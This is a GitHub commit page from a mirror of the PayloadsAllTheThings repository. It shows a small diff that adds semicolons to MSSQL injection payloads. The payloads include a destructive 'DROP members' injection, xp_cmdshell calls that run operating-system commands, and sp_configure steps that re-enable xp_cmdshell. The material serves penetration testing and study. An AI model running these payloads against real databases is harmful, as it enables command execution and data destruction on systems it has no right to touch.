ch0ic3/PayloadsAllTheThings
1
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2025-02-20 13:46:05 +00:00
Code Issues Actions 1 Packages Projects Releases Wiki Activity

Update MSSQL Command execution

Browse Source
This commit is contained in:
marcan2020 2019-01-29 15:25:25 -05:00 committed by GitHub
parent 20bf52eb6a
commit 7068cb6edc
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 6 additions and 6 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

12
SQL injection/MSSQL Injection.md
View File

@ -124,17 +124,17 @@ ProductID=1; DROP members--
```sql ```sql
EXEC xp_cmdshell "net user"; EXEC xp_cmdshell "net user";
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:' EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:';
EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1' EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1';
``` ```
If you need to reactivate xp_cmdshell (disabled by default in SQL Server 2005) If you need to reactivate xp_cmdshell (disabled by default in SQL Server 2005)
```sql ```sql
EXEC sp_configure 'show advanced options',1 EXEC sp_configure 'show advanced options',1;
RECONFIGURE RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1 EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE RECONFIGURE;
``` ```
## MSSQL Make user DBA (DB admin) ## MSSQL Make user DBA (DB admin)